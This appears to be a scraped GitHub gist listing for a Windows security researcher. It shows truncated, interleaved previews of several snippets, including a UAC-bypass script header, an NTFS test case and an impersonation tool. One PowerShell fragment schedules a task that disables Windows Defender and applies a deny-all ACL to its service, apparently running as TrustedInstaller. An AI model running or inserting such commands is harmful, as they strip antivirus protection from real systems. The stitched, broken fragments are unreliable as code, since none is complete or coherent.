Skip to content

Instantly share code, notes, and snippets.

[Parameter(Mandatory, Position = 0)]
[Parameter(Mandatory, Position = 1)]
# Script to map a host drive inside a Windows Docker Server Container
# You need to be an admin in the container for this to work.
# Use as .\map_host_drive C: X:
tyranid / doh.ps1
Created May 4, 2020 15:17
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
Import-Module NtObjectManager
Function to kill all processes which are using a locked file.
function Kill-FileLocker {
# Powershell script to bypass UAC on Vista+ assuming
# there exists one elevated process on the same desktop.
# Technical details in:
# You need to Install-Module NtObjectManager for this to run.
Import-Module NtObjectManager
tyranid / ntfs_testcase.cpp
Created June 2, 2014 21:42
Test Case for Illegal NTFS Names
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <string>
int _tmain(int argc, _TCHAR* argv[])
for (int i = 1; i < 128; ++i)
std::wstring name = L".\a";
tyranid / cmdfile registration
Created May 22, 2014 01:45
A registry file for cmdfile registration
Windows Registry Editor Version 5.00
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
int wmain(int argc, WCHAR* argv[])
if (argc < 2)
printf("Usage: ImpersonateSHExec filename [sessionid]\n");
return 1;